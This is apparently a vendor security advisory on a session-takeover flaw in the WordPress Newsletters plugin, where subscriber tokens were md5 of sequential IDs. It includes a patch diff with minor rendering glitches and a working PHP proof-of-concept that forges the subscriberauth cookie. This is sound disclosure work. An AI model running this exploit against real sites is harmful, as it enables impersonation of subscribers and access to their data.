Published : June 29, 2026

CVE-2026-57645: Newsletters <= 4.13 Missing Authorization PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 4.13
Patched Version 4.14
Disclosed June 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57645:

The Newsletters plugin for WordPress (versions up to and including 4.13) contains an authentication bypass vulnerability in the session authentication mechanism for subscribers. This flaw allows an authenticated attacker with newsletters_subscribers-level access to impersonate any subscriber by crafting a predictable authentication token. The vulnerability has a CVSS score of 4.3 (Medium) and is classified under CWE-862 (Missing Authorization).

Root Cause:
The core issue resides in the authentication logic within `newsletters-lite/helpers/auth.php` at line 24. The function authenticates subscribers by looking up a `cookieauth` token from the database stored in a `subscriberauth` cookie. The original code blindly trusts any non-empty `$subscriberauth` value that matches a database entry. The problem is that the plugin was generating this token using the predictable formula `md5($subscriber->id)` in multiple places, including lines 6079-6083, 6124-6128, and 9299-9302 of `wp-mailinglist-plugin.php`, as well as in `wp-mailinglist.php` at lines 7122 and 7343. When the token was empty, the plugin would generate a new one using `gen_subscriberauth()`. However, tokens generated as `md5($subscriber->id)` were stored in the database and could be easily guessed by any authenticated user who could obtain another subscriber’s ID (which is often sequential and enumerable).

Exploitation:
An authenticated attacker with newsletters_subscribers-level access can enumerate subscriber IDs (e.g., by analyzing email campaigns, subscription lists, or other exposed subscriber data). Since the cookieauth token is simply md5($subscriber_id), the attacker can calculate the token for any target subscriber by computing the MD5 hash of their ID. The attacker then sets a cookie named `subscriberauth` with this computed value (e.g., `subscriberauth=md5(123)`) and sends a request to any endpoint that invokes the authentication function in `auth.php`. This function will find the subscriber by the cookieauth value and return the subscriber object, allowing the attacker to hijack the target subscriber’s session. The specific vulnerable code path is the `elseif (!empty($subscriberauth) && $subscriber = $Db -> find(array(‘cookieauth’ => $subscriberauth)))` block.

Patch Analysis:
The patch introduces a check in `auth.php` at the newly added lines 24-27: if the provided `$subscriberauth` token equals `md5($subscriber->id)`, the function returns `false`, denying authentication. This effectively blacklists the predictable token format. Additionally, the patch adds validation in `wp-mailinglist-plugin.php` to replace any existing cookieauth token that matches `md5($subscriber->id)` with a cryptographically secure token generated by `wp_generate_password(32, false)` or `md5(uniqid(rand(), true))`. Similar checks are applied in `wp-mailinglist.php` at lines 7122, 7343, and 9299, ensuring that predictable tokens are regenerated. The patch also strengthens SQL queries by using `$wpdb->prepare()` with integer parameters (e.g., lines 2393, 2472, 5586, 6170) to prevent SQL injection, and adds nonce verification for the deleteuser action (line 7651).

Impact:
Successful exploitation allows an authenticated attacker with subscriber-level privileges to perform session takeover of any other subscriber. This could lead to unauthorized actions on behalf of the victim subscriber, such as modifying subscription preferences, viewing private newsletters, or accessing other subscribers’ personal data. The attacker can also potentially use the hijacked session to interact with any functionality available to authenticated subscribers. While the CVSS score is 4.3 due to the requirement of authenticated access and the limitation to subscriber accounts, the ability to impersonate any subscriber without any interaction from the victim represents a significant trust boundary violation.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/newsletters-lite/helpers/auth.php
+++ b/newsletters-lite/helpers/auth.php
@@ -20,8 +20,12 @@

 		if (!empty($subscriber_id) && $subscriber = $Db -> find(array('id' => $subscriber_id), false, false, true, true, false)) {
 			return $subscriber;
-		} elseif (!empty($subscriberauth) && $subscriber = $Db -> find(array('cookieauth' => $subscriberauth), false, false, true, true, false)) {
-			return $subscriber;
+		} elseif (!empty($subscriberauth) && $subscriber = $Db -> find(array('cookieauth' => $subscriberauth), false, false, true, true, false)) {
+            // VULNERABILITY PATCH: Reject predictable tokens to prevent session takeover
+            if ($subscriberauth === md5($subscriber->id)) {
+                return false;
+            }
+            return $subscriber;
 		} elseif (!empty($user_id) && $subscriber = $Db -> find(array('user_id' => $user_id))) {
 			return $subscriber;
 		}
--- a/newsletters-lite/includes/checkinit.php
+++ b/newsletters-lite/includes/checkinit.php
@@ -364,6 +364,7 @@
                 // Store the validation result and timestamp in transients
                 set_transient("wpml" . 'serial_valid_' . $host_hash, $is_serial_valid , 86400);
                 set_transient("wpml" . 'serial_validation_time_' . $host_hash, time(), 86400);
+                $valid_status = $is_serial_valid;
             }

             // Retrieve the validation result from the transients
@@ -487,4 +488,4 @@
     }
 }

-?>
 No newline at end of file
+?>
--- a/newsletters-lite/views/admin/settings/view_logs.php
+++ b/newsletters-lite/views/admin/settings/view_logs.php
@@ -1,136 +1,136 @@
-<?php // phpcs:ignoreFile ?>
-<!-- API -->
-
-<?php
-
-$debugging = get_option('tridebugging');
-$this->debugging = (empty($debugging)) ? $this->debugging : true;
-
-if (!file_exists(NEWSLETTERS_LOG_FILE)) {
-    esc_html_e('The log file does not exist yet.', 'wp-mailinglist');
-    die();
-}
-
-if (empty(filesize(NEWSLETTERS_LOG_FILE))) {
-    $info = [
-        'enabled' => $this->debugging,
-    ];
-
-    if (!file_exists(NEWSLETTERS_LOG_FILE)) {
-        echo esc_html_e('The log file does not exist.', 'wp-mailinglist');
-        die();
-    }
-
-    // File path.
-    $info['filePath'] = NEWSLETTERS_LOG_FILE;
-
-    $file_size = @filesize($info['filePath']);
-
-    if (empty($file_size)) {
-        $file_size = '0B';
-    }
-
-    echo esc_html_e('The log file is empty.', 'wp-mailinglist');
-    die();
-}
-
-$lines = 500;
-// Open file.
-$f = @fopen(NEWSLETTERS_LOG_FILE, 'rb'); // phpcs:ignore
-
-if (false === $f) {
-    echo esc_html_e('Could not open the log file', 'wp-mailinglist');
-    die();
-}
-
-// Sets buffer size, according to the number of lines to retrieve.
-// This gives a performance boost when reading a few lines from the file.
-$buffer = ($lines < 2 ? 64 : ($lines < 10 ? 512 : 4096));
-
-// Jump to last character.
-fseek($f, -1, SEEK_END);
-
-// Read it and adjust line number if necessary.
-// (Otherwise the result would be wrong if file doesn't end with a blank line).
-if (fread($f, 1) != "n") $lines -= 1; // phpcs:ignore
-
-// Start reading.
-$output = '';
-$chunk = '';
-
-// While we would like more.
-while (ftell($f) > 0 && $lines >= 0) {
-    // Figure out how far back we should jump.
-    $seek = min(ftell($f), $buffer);
-
-    // Do the jump (backwards, relative to where we are).
-    fseek($f, -$seek, SEEK_CUR);
-
-    // Read a chunk and prepend it to our output.
-    $output = ($chunk = fread($f, $seek)) . $output; // phpcs:ignore
-
-    // Jump back to where we started reading.
-    fseek($f, -mb_strlen($chunk, '8bit'), SEEK_CUR);
-
-    // Decrease our line counter.
-    $lines -= substr_count($chunk, "n");
-}
-
-// While we have too many lines.
-// (Because of buffer size we might have read too many).
-while ($lines++ < 0) {
-    // Find first newline and remove all text before that.
-    $output = substr($output, strpos($output, "n") + 1);
-}
-
-// Close file and return.
-fclose($f); // phpcs:ignore
-
-?>
-
-<div class="wrap newsletters">
-    <h1><?php esc_html_e('View Logs', 'wp-mailinglist'); ?></h1>
-
-    <?php $this->render('settings-navigation', false, true, 'admin'); ?>
-
-    <p><?php esc_html_e('The debug log displays the last 500 lines and only shows certain logs such as when a cron job fires or when you face a specific issue. The logs are not the same as PHP error logs.', 'wp-mailinglist'); ?><br/>
-        <?php _e('<a href="https://tribulant.com/docs/wordpress-mailing-list-plugin/3926/newsletters-debugging/" target="_blank" >Debugging documentation</a>. ', 'wp-mailinglist'); ?>
-    </p>
-    <?php if (!empty($log_protection_message)) : ?>
-        <div class="notice <?php echo esc_attr($log_protection_message_class); ?>"><p><?php echo esc_html($log_protection_message); ?></p></div>
-    <?php endif; ?>
-    <textarea style="width: 100%; min-height: 600px;"><?php echo esc_textarea($output); ?></textarea>
-    <?php if (empty($log_protected)) : ?>
-        <form method="post" style="margin-top: 10px;">
-            <?php wp_nonce_field('newsletters_protect_log_file'); ?>
-            <p>
-                <button type="submit" name="protect_log_file" class="button button-secondary"><?php esc_html_e('Protect Log File via .htaccess', 'wp-mailinglist'); ?></button>
-                <span class="description"><?php esc_html_e('Add a .htaccess rule to block direct access to the log file.', 'wp-mailinglist'); ?></span>
-            </p>
-        </form>
-        <?php //if (empty($log_htaccess_writable)) : ?>
-            <div class="log-htaccess-manual" style="margin-top: 10px;">
-                <a href="#" class="toggle-log-htaccess-rule" aria-expanded="false"><?php esc_html_e('Or add this to your htaccess to protect your log', 'wp-mailinglist'); ?></a>
-                <div class="log-htaccess-rule" style="display: none; margin-top: 5px;">
-                    <pre><?php echo esc_html($log_htaccess_rule); ?></pre>
-                </div>
-            </div>
-            <script type="text/javascript">
-                (function($) {
-                    $(document).ready(function() {
-                        $('.toggle-log-htaccess-rule').on('click', function(event) {
-                            event.preventDefault();
-
-                            var $toggle = $(this);
-                            var $container = $toggle.closest('.log-htaccess-manual').find('.log-htaccess-rule');
-                            var expanded = $toggle.attr('aria-expanded') === 'true';
-
-                            $container.toggle(!expanded);
-                            $toggle.attr('aria-expanded', expanded ? 'false' : 'true');
-                        });
-                    });
-                })(jQuery);
-            </script>
-        <?php //endif; ?>
-    <?php endif; ?>
-</div>
+<?php // phpcs:ignoreFile ?>
+<!-- API -->
+
+<?php
+
+$debugging = get_option('tridebugging');
+$this->debugging = (empty($debugging)) ? $this->debugging : true;
+
+if (!file_exists(NEWSLETTERS_LOG_FILE)) {
+    esc_html_e('The log file does not exist yet.', 'wp-mailinglist');
+    die();
+}
+
+if (empty(filesize(NEWSLETTERS_LOG_FILE))) {
+    $info = [
+        'enabled' => $this->debugging,
+    ];
+
+    if (!file_exists(NEWSLETTERS_LOG_FILE)) {
+        echo esc_html_e('The log file does not exist.', 'wp-mailinglist');
+        die();
+    }
+
+    // File path.
+    $info['filePath'] = NEWSLETTERS_LOG_FILE;
+
+    $file_size = @filesize($info['filePath']);
+
+    if (empty($file_size)) {
+        $file_size = '0B';
+    }
+
+    echo esc_html_e('The log file is empty.', 'wp-mailinglist');
+    die();
+}
+
+$lines = 500;
+// Open file.
+$f = @fopen(NEWSLETTERS_LOG_FILE, 'rb'); // phpcs:ignore
+
+if (false === $f) {
+    echo esc_html_e('Could not open the log file', 'wp-mailinglist');
+    die();
+}
+
+// Sets buffer size, according to the number of lines to retrieve.
+// This gives a performance boost when reading a few lines from the file.
+$buffer = ($lines < 2 ? 64 : ($lines < 10 ? 512 : 4096));
+
+// Jump to last character.
+fseek($f, -1, SEEK_END);
+
+// Read it and adjust line number if necessary.
+// (Otherwise the result would be wrong if file doesn't end with a blank line).
+if (fread($f, 1) != "n") $lines -= 1; // phpcs:ignore
+
+// Start reading.
+$output = '';
+$chunk = '';
+
+// While we would like more.
+while (ftell($f) > 0 && $lines >= 0) {
+    // Figure out how far back we should jump.
+    $seek = min(ftell($f), $buffer);
+
+    // Do the jump (backwards, relative to where we are).
+    fseek($f, -$seek, SEEK_CUR);
+
+    // Read a chunk and prepend it to our output.
+    $output = ($chunk = fread($f, $seek)) . $output; // phpcs:ignore
+
+    // Jump back to where we started reading.
+    fseek($f, -mb_strlen($chunk, '8bit'), SEEK_CUR);
+
+    // Decrease our line counter.
+    $lines -= substr_count($chunk, "n");
+}
+
+// While we have too many lines.
+// (Because of buffer size we might have read too many).
+while ($lines++ < 0) {
+    // Find first newline and remove all text before that.
+    $output = substr($output, strpos($output, "n") + 1);
+}
+
+// Close file and return.
+fclose($f); // phpcs:ignore
+
+?>
+
+<div class="wrap newsletters">
+    <h1><?php esc_html_e('View Logs', 'wp-mailinglist'); ?></h1>
+
+    <?php $this->render('settings-navigation', false, true, 'admin'); ?>
+
+    <p><?php esc_html_e('The debug log displays the last 500 lines and only shows certain logs such as when a cron job fires or when you face a specific issue. The logs are not the same as PHP error logs.', 'wp-mailinglist'); ?><br/>
+        <?php _e('<a href="https://tribulant.com/docs/wordpress-mailing-list-plugin/3926/newsletters-debugging/" target="_blank" >Debugging documentation</a>. ', 'wp-mailinglist'); ?>
+    </p>
+    <?php if (!empty($log_protection_message)) : ?>
+        <div class="notice <?php echo esc_attr($log_protection_message_class); ?>"><p><?php echo esc_html($log_protection_message); ?></p></div>
+    <?php endif; ?>
+    <textarea style="width: 100%; min-height: 600px;"><?php echo esc_textarea($output); ?></textarea>
+    <?php if (empty($log_protected)) : ?>
+        <form method="post" style="margin-top: 10px;">
+            <?php wp_nonce_field('newsletters_protect_log_file'); ?>
+            <p>
+                <button type="submit" name="protect_log_file" class="button button-secondary"><?php esc_html_e('Protect Log File via .htaccess', 'wp-mailinglist'); ?></button>
+                <span class="description"><?php esc_html_e('Add a .htaccess rule to block direct access to the log file.', 'wp-mailinglist'); ?></span>
+            </p>
+        </form>
+        <?php //if (empty($log_htaccess_writable)) : ?>
+            <div class="log-htaccess-manual" style="margin-top: 10px;">
+                <a href="#" class="toggle-log-htaccess-rule" aria-expanded="false"><?php esc_html_e('Or add this to your htaccess to protect your log', 'wp-mailinglist'); ?></a>
+                <div class="log-htaccess-rule" style="display: none; margin-top: 5px;">
+                    <pre><?php echo esc_html($log_htaccess_rule); ?></pre>
+                </div>
+            </div>
+            <script type="text/javascript">
+                (function($) {
+                    $(document).ready(function() {
+                        $('.toggle-log-htaccess-rule').on('click', function(event) {
+                            event.preventDefault();
+
+                            var $toggle = $(this);
+                            var $container = $toggle.closest('.log-htaccess-manual').find('.log-htaccess-rule');
+                            var expanded = $toggle.attr('aria-expanded') === 'true';
+
+                            $container.toggle(!expanded);
+                            $toggle.attr('aria-expanded', expanded ? 'false' : 'true');
+                        });
+                    });
+                })(jQuery);
+            </script>
+        <?php //endif; ?>
+    <?php endif; ?>
+</div>
--- a/newsletters-lite/views/admin/submitserial.php
+++ b/newsletters-lite/views/admin/submitserial.php
@@ -12,7 +12,7 @@

     <h1><i class="fa fa-envelope fa-fw"></i> <?php echo sprintf(__('%s Serial Key', 'wp-mailinglist'), $this -> name); ?></h1>

-<?php if (empty($success) || $success == false) : ?>
+<?php if (empty($success) || $success == false) : ?>
     <?php
     $validation_status = $this -> ci_serial_valid();

@@ -105,11 +105,24 @@
         <?php
     }
     ?>
-<?php else : ?>
-    <p><?php esc_html_e('The serial key is valid and you can now continue using the Newsletter plugin. Thank you for your business and support!', 'wp-mailinglist'); ?></p>
-    <p>
-        <button value="1" type="button" onclick="jQuery.colorbox.close(); parent.location = '<?php echo esc_url_raw(rtrim(get_admin_url(), '/')); ?>/admin.php?page=newsletters';" class="button-primary" name="close">
-            <i class="fa fa-check fa-fw"></i> <?php esc_html_e('Apply Serial and Close Window', 'wp-mailinglist'); ?>
-        </button>
-    </p>
-<?php endif; ?>
 No newline at end of file
+<?php elseif ($success == 'expired') : ?>
+    <p><?php esc_html_e('The serial key is valid but expired.', 'wp-mailinglist'); ?></p>
+    <p style="width:400px;">
+        <?php echo sprintf(__('To access PRO features, download our paid version from your %s, then deactivate and delete the LITE version before installing and activating the paid version. You will not lose any data.', 'wp-mailinglist'), '<a href="https://tribulant.com/downloads/" target="_blank">' . __('Downloads page', 'wp-mailinglist') . '</a>'); ?>
+    </p>
+    <p>
+        <button value="1" type="button" onclick="jQuery.colorbox.close(); parent.location = '<?php echo esc_url_raw(rtrim(get_admin_url(), '/')); ?>/plugins.php';" class="button-primary" name="close">
+            <i class="fa fa-check fa-fw"></i> <?php esc_html_e('Apply Serial and Close Window', 'wp-mailinglist'); ?>
+        </button>
+    </p>
+<?php else : ?>
+    <p><?php esc_html_e('The serial key is valid and you can now continue using the Newsletter plugin. Thank you for your business and support!', 'wp-mailinglist'); ?></p>
+    <p style="width:400px;">
+        <?php echo sprintf(__('To access PRO features, download our paid version from your %s, then deactivate and delete the LITE version before installing and activating the paid version. You will not lose any data.', 'wp-mailinglist'), '<a href="https://tribulant.com/downloads/" target="_blank">' . __('Downloads page', 'wp-mailinglist') . '</a>'); ?>
+    </p>
+    <p>
+        <button value="1" type="button" onclick="jQuery.colorbox.close(); parent.location = '<?php echo esc_url_raw(rtrim(get_admin_url(), '/')); ?>/plugins.php';" class="button-primary" name="close">
+            <i class="fa fa-check fa-fw"></i> <?php esc_html_e('Apply Serial and Close Window', 'wp-mailinglist'); ?>
+        </button>
+    </p>
+<?php endif; ?>
--- a/newsletters-lite/views/admin/subscribers/unsubscribes.php
+++ b/newsletters-lite/views/admin/subscribers/unsubscribes.php
@@ -151,7 +151,7 @@
 								<?php if (!empty($unsubscribe -> user_id)) : ?>
 									<a href="<?php echo get_edit_user_link($unsubscribe -> userdata -> ID); ?>"><?php echo esc_html( $unsubscribe -> userdata -> display_name); ?></a>
 									<div class="row-actions">
-										<span class="delete"><a href="<?php echo esc_url_raw( admin_url('admin.php?page=' . $this -> sections -> subscribers . '&method=deleteuser&user_id=' . $unsubscribe -> user_id)) ?>" class="submitdelete" onclick="if (!confirm('<?php esc_html_e('Are you sure you want to delete this user?', 'wp-mailinglist'); ?>')) { return false; }"><?php esc_html_e('Delete User', 'wp-mailinglist'); ?></a></span>
+										<span class="delete"><a href="<?php echo esc_url_raw( wp_nonce_url(admin_url('admin.php?page=' . $this -> sections -> subscribers . '&method=deleteuser&user_id=' . $unsubscribe -> user_id), $this -> sections -> subscribers . '_deleteuser')) ?>" class="submitdelete" onclick="if (!confirm('<?php esc_html_e('Are you sure you want to delete this user?', 'wp-mailinglist'); ?>')) { return false; }"><?php esc_html_e('Delete User', 'wp-mailinglist'); ?></a></span>
 									</div>
 								<?php else : ?>
 									<?php esc_html_e('None', 'wp-mailinglist'); ?>
--- a/newsletters-lite/wp-mailinglist-plugin.php
+++ b/newsletters-lite/wp-mailinglist-plugin.php
@@ -8,7 +8,7 @@
 		var $name = 'Newsletters';
 		var $plugin_base;
 		var $pre = 'wpml';
-		var $version = '4.13';
+		var $version = '4.14';
 		var $dbversion = '1.2.3';
 		var $debugging = false;			//set to "true" to turn on debugging
 		var $debug_level = 2; 			//set to 1 for only database errors and var dump; 2 for PHP errors as well
@@ -2390,7 +2390,7 @@
 			$subscribers = (object) stripslashes_deep($_REQUEST['subscribers']);

 			if (!empty($subscribers)) {
-				$historyquery = "SELECT id, message, subject FROM " . $wpdb -> prefix . $this -> History() -> table . " WHERE id = '" . esc_sql($_REQUEST['history_id']) . "' LIMIT 1";
+				$historyquery = $wpdb->prepare("SELECT id, message, subject FROM " . $wpdb -> prefix . $this -> History() -> table . " WHERE id = %d LIMIT 1", intval($_REQUEST['history_id']));
 				$history = $wpdb -> get_row($historyquery);

 				if (!empty($history)) {
@@ -2469,7 +2469,7 @@
 			$this -> qp_reset_data();

 			if (!empty($subscribers)) {
-				$historyquery = "SELECT id, message, subject FROM " . $wpdb -> prefix . $this -> History() -> table . " WHERE id = '" . esc_sql($_REQUEST['history_id']) . "' LIMIT 1";
+				$historyquery = $wpdb->prepare("SELECT id, message, subject FROM " . $wpdb -> prefix . $this -> History() -> table . " WHERE id = %d LIMIT 1", intval($_REQUEST['history_id']));
 				$history = $wpdb -> get_row($historyquery);

 				if (!empty($history)) {
@@ -4807,11 +4807,12 @@
 			check_ajax_referer('serialkey', 'security');

 			if (current_user_can('newsletters_welcome')) {
-				if (!empty($_GET['delete'])) {
-					$this -> delete_option('serialkey');
-					$host = sanitize_text_field(wp_unslash($_SERVER['HTTP_HOST']));
-					$host_hash = md5($host);
-					if (!empty($host)) {
+				if (!empty($_GET['delete'])) {
+					$this -> delete_option('serialkey');
+					$this -> delete_all_cache('all');
+					$host = sanitize_text_field(wp_unslash($_SERVER['HTTP_HOST']));
+					$host_hash = md5($host);
+					if (!empty($host)) {
 						$time_key  = 'wpmlserial_validation_time_' . $host_hash;
 						$valid_key = 'wpmlserial_valid_'           . $host_hash;

@@ -4820,11 +4821,12 @@

 						if ( is_multisite() ) {
 							delete_site_transient( $time_key );
-							delete_site_transient( $valid_key );
-						}
-					}
-					$errors[] = __('Serial key has been deleted.', 'wp-mailinglist');
-				} else {
+							delete_site_transient( $valid_key );
+						}
+					}
+					delete_transient($this -> pre . 'update_info');
+					$errors[] = __('Serial key has been deleted.', 'wp-mailinglist');
+				} else {
 					if (!empty($_POST)) {
 						if (empty($_REQUEST['serialkey'])) { $errors[] = __('Please fill in a serial key.', 'wp-mailinglist'); }
 						else {
@@ -4839,14 +4841,13 @@
 							}

                             $serial_validation_status = $this->ci_serial_valid();
-							if (!is_array($serial_validation_status) && !$serial_validation_status) {
-                                $errors[] = __('Serial key is invalid, please try again.', 'wp-mailinglist');
-                            }
-							else if(is_array($serial_validation_status) && !$serial_validation_status) {
-                                $errors[] = __('Serial key is expired. You can still work with it, but it is limited', 'wp-mailinglist');
-                                delete_transient($this -> pre . 'update_info');
-                                $success = true;
-                            }
+							if (!is_array($serial_validation_status) && !$serial_validation_status) {
+                                $errors[] = __('Serial key is invalid, please try again.', 'wp-mailinglist');
+                            }
+							else if (is_array($serial_validation_status) && !empty($serial_validation_status['expired'])) {
+                                delete_transient($this -> pre . 'update_info');
+                                $success = 'expired';
+                            }
                             else if (!is_array($serial_validation_status) && $serial_validation_status)
                             {
                                 $host = sanitize_text_field(wp_unslash($_SERVER['HTTP_HOST']));
@@ -5582,7 +5583,7 @@
 					if ($subscriber = $Db -> find(array('id' => (int) $_POST['subscriber_id']), false, false, true, true, false)) {
 						if ($subscriber -> id == (int) $_POST['subscriber_id']) {
 							$Db -> model = $Mailinglist -> model;
-							$query = "SELECT * FROM " . $wpdb -> prefix . $Mailinglist -> table . " WHERE `id` = '" . esc_sql((int)$_POST['mailinglist_id']) . "'";
+							$query = $wpdb->prepare("SELECT * FROM " . $wpdb -> prefix . $Mailinglist -> table . " WHERE `id` = %d", intval($_POST['mailinglist_id']));
 							$mailinglist = $wpdb -> get_row($query);

 							$paid = $mailinglist -> paid;
@@ -6079,7 +6080,7 @@
 									$success = true;

 									$Authnews -> set_emailcookie($subscriber -> email, "+30 days");
-									if (empty($subscriber -> cookieauth)) {
+									if (empty($subscriber -> cookieauth) || $subscriber -> cookieauth === md5($subscriber->id)) {
 										$subscriberauth = $Authnews -> gen_subscriberauth();
 										$Db -> model = $Subscriber -> model;
 										$Db -> save_field('cookieauth', $subscriberauth, array('id' => $subscriber -> id));
@@ -6124,7 +6125,7 @@
 							$success = true;

 							$Authnews -> set_emailcookie($subscriber -> email, "+30 days");
-							if (empty($subscriber -> cookieauth)) {
+							if (empty($subscriber -> cookieauth) || $subscriber -> cookieauth === md5($subscriber->id)) {
 								$subscriberauth = $Authnews -> gen_subscriberauth();
 								$Db -> model = $Subscriber -> model;
 								$Db -> save_field('cookieauth', $subscriberauth, array('id' => $subscriber -> id));
@@ -6166,7 +6167,7 @@
 						}

 						if (!empty($data[$this -> pre . 'subscriber_id'])) {
-							$subscriber_query = "SELECT * FROM " . $wpdb -> prefix . $Subscriber -> table . " WHERE id = '" . $data[$this -> pre . 'subscriber_id'] . "'";
+							$subscriber_query = $wpdb->prepare("SELECT * FROM " . $wpdb -> prefix . $Subscriber -> table . " WHERE id = %d", intval($data[$this -> pre . 'subscriber_id']));

 							$subscriber = $wpdb -> get_row($subscriber_query);

@@ -9132,7 +9133,9 @@
 				global $Db, $Subscriber, $SubscribersList;
 				$Db -> model = $Subscriber -> model;
 				$subscriber = $Db -> find(array('id' => $subscriber_id));
-				$authkey = (empty($subscriber -> authkey)) ? md5($subscriber_id) : $subscriber -> authkey;
+				$new_authkey = function_exists('wp_generate_password') ? wp_generate_password(32, false) : md5(uniqid(rand(), true));
+				$new_authkey = function_exists('wp_generate_password') ? wp_generate_password(32, false) : md5(uniqid(rand(), true));
+				$authkey = (empty($subscriber -> authkey) || $subscriber -> authkey === md5($subscriber_id)) ? $new_authkey : $subscriber -> authkey;

 				if (!empty($mailinglist_id)) {
 					$Db -> model = $SubscribersList -> model;
@@ -9148,7 +9151,7 @@
 					}
 				} else {
 					if (!empty($subscriber)) {
-						if ($subscriber -> authinprog == "Y" && !empty($subscriber -> authkey)) {
+						if ($subscriber -> authinprog == "Y" && !empty($subscriber -> authkey) && $subscriber -> authkey !== md5($subscriber_id)) {
 							$authkey = $subscriber -> authkey;
 						} else {
 							$Db -> model = $Subscriber -> model;
@@ -9299,7 +9302,7 @@
 				if (!empty($subscriber)) {
 					$linktext = esc_html($this -> get_option('managelinktext'));

-					if (empty($subscriber -> cookieauth)) {
+					if (empty($subscriber -> cookieauth) || $subscriber -> cookieauth === md5($subscriber->id)) {
 						$subscriberauth = $Authnews -> gen_subscriberauth();
 						$Db -> model = $Subscriber -> model;
 						$Db -> save_field('cookieauth', $subscriberauth, array('id' => $subscriber -> id));
@@ -14841,4 +14844,4 @@
 	}*/
 }

-?>
 No newline at end of file
+?>
--- a/newsletters-lite/wp-mailinglist.php
+++ b/newsletters-lite/wp-mailinglist.php
@@ -3,7 +3,7 @@
 /*
 Plugin Name: Newsletters
 Plugin URI: https://tribulant.com/plugins/view/1/
-Version: 4.13
+Version: 4.14
 Description: This newsletter software by Tribulant allows users to subscribe to multiple mailing lists on your WordPress website. Send newsletters manually or from posts, manage newsletter templates, view a complete history with tracking, import/export subscribers, accept paid subscriptions and much more. Remove limits by buying PRO. Once purchased, to avoid future issues, remove this version and install and use the paid version in its stead. No data will be lost.
 Author: Tribulant
 Author URI: https://tribulant.com
@@ -7122,7 +7122,7 @@

                                             // Save authentication string to subscriber record
                                             $Db->model = $Subscriber->model;
-                                            if (empty($subscriber->cookieauth)) {
+                                            if (empty($subscriber->cookieauth) || $subscriber->cookieauth === md5($subscriber->id)) {
                                                 $Db->save_field('cookieauth', $subscriberauth, array('id' => $subscriber->id));
                                             } else {
                                                 $subscriberauth = $subscriber->cookieauth;
@@ -7343,7 +7343,7 @@

                                                                 // Save authentication string to subscriber record
                                                                 $Db->model = $Subscriber->model;
-                                                                if (empty($subscriber->cookieauth)) {
+                                                                if (empty($subscriber->cookieauth) || $subscriber->cookieauth === md5($subscriber->id)) {
                                                                     $Db->save_field('cookieauth', $subscriberauth, array('id' => $subscriber->id));
                                                                 } else {
                                                                     $subscriberauth = $subscriber->cookieauth;
@@ -7648,8 +7648,14 @@
                         $this -> redirect($this -> referer, $msgtype, $message);
                         break;
                     case 'deleteuser'				:
+                        check_admin_referer($this->sections->subscribers . '_deleteuser');
                         if (!empty($_GET['user_id'])) {
-                            if (wp_delete_user((int) $_GET['user_id'])  && !user_can( $_GET['user_id'], 'manage_options' )) {
+                            $user_id = (int) $_GET['user_id'];
+                            $current_user_id = get_current_user_id();
+                            if ($user_id === $current_user_id) {
+                                 $msgtype = 'error';
+                                $message = __('You cannot delete your own user account', 'wp-mailinglist');
+                            } elseif (!user_can($user_id, 'manage_options') && wp_delete_user($user_id)) {
                                 $msgtype = 'message';
                                 $message = __('User has been deleted', 'wp-mailinglist');
                             } else {

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57645 - Newsletters <= 4.13 Missing Authorization

// Configuration
$target_url = 'http://example.com'; // Change to target WordPress URL
$attacker_cookie = 'wordpress_xxxxx=xxxxxxxx'; // Attacker's WordPress auth cookie

// Function to perform the exploit
function exploit_cve_2026_57645($target_url, $attacker_cookie, $target_subscriber_id) {
    // Calculate the predictable cookieauth token
    $predictable_token = md5($target_subscriber_id);
    
    // Set up cURL
    $ch = curl_init();
    
    // Target a page that invokes the subscriber authentication
    // For example, the manage subscription page or any frontend subscriber endpoint
    $exploit_url = $target_url . '/?page_id=123'; // Replace with actual page that triggers auth
    
    // Set the subscriberauth cookie to the predictable token
    $cookies = $attacker_cookie . '; subscriberauth=' . $predictable_token;
    
    curl_setopt_array($ch, [
        CURLOPT_URL => $exploit_url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIE => $cookies,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return [
        'http_code' => $http_code,
        'response' => $response
    ];
}

// Test with a known subscriber ID (e.g., 1)
$target_subscriber_id = 1;
$result = exploit_cve_2026_57645($target_url, $attacker_cookie, $target_subscriber_id);

echo "HTTP Code: " . $result['http_code'] . "n";
echo "Response length: " . strlen($result['response']) . "n";

// If successful, the response will contain the victim subscriber's data
// and the attacker will be authenticated as that subscriber

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School